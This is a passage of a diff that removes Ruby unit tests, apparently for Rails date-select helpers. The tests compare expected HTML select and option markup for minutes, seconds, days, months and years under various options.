-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(nil, :include_blank => true)
-  end
-
-  def test_select_minute_nil_with_blank_and_step
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
-  end
-
-  def test_select_minute_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
-  end
-
-  def test_select_minute_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
-  end
-
-  def test_select_minute_with_html_options
-    expected = expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-
-    #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_minute" name="date[minute]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="00">00')
-  end
-
-  def test_select_minute_with_default_prompt
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
-  end
-
-  def test_select_minute_with_custom_prompt
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
-  end
-
-  def test_select_second
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
-  end
-
-  def test_select_second_with_disabled
-    expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
-  end
-
-  def test_select_second_with_field_name_override
-    expected = %(<select id="date_segundo" name="date[segundo]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
-  end
-
-  def test_select_second_with_blank
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
-  end
-
-  def test_select_second_nil_with_blank
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(nil, :include_blank => true)
-  end
-
-  def test_select_second_with_html_options
-    expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-
-    #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_second" name="date[second]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="00">00')
-  end
-
-  def test_select_second_with_default_prompt
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
-  end
-
-  def test_select_second_with_custom_prompt
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
-  end
-
-  def test_select_date
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_order
-    expected = %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected <<  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
-  end
-
-  def test_select_date_with_incomplete_order
-    # NOTE: modified this test because of minimal API change
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
-  end
-
-  def test_select_date_with_disabled
-    expected =  %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
-  end
-
-  def test_select_date_with_no_start_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+1) do |y|
-      if y == Date.today.year
-        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
-      else
-        expected << %(<option value="#{y}">#{y}</option>\n)
-      end
-    end
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
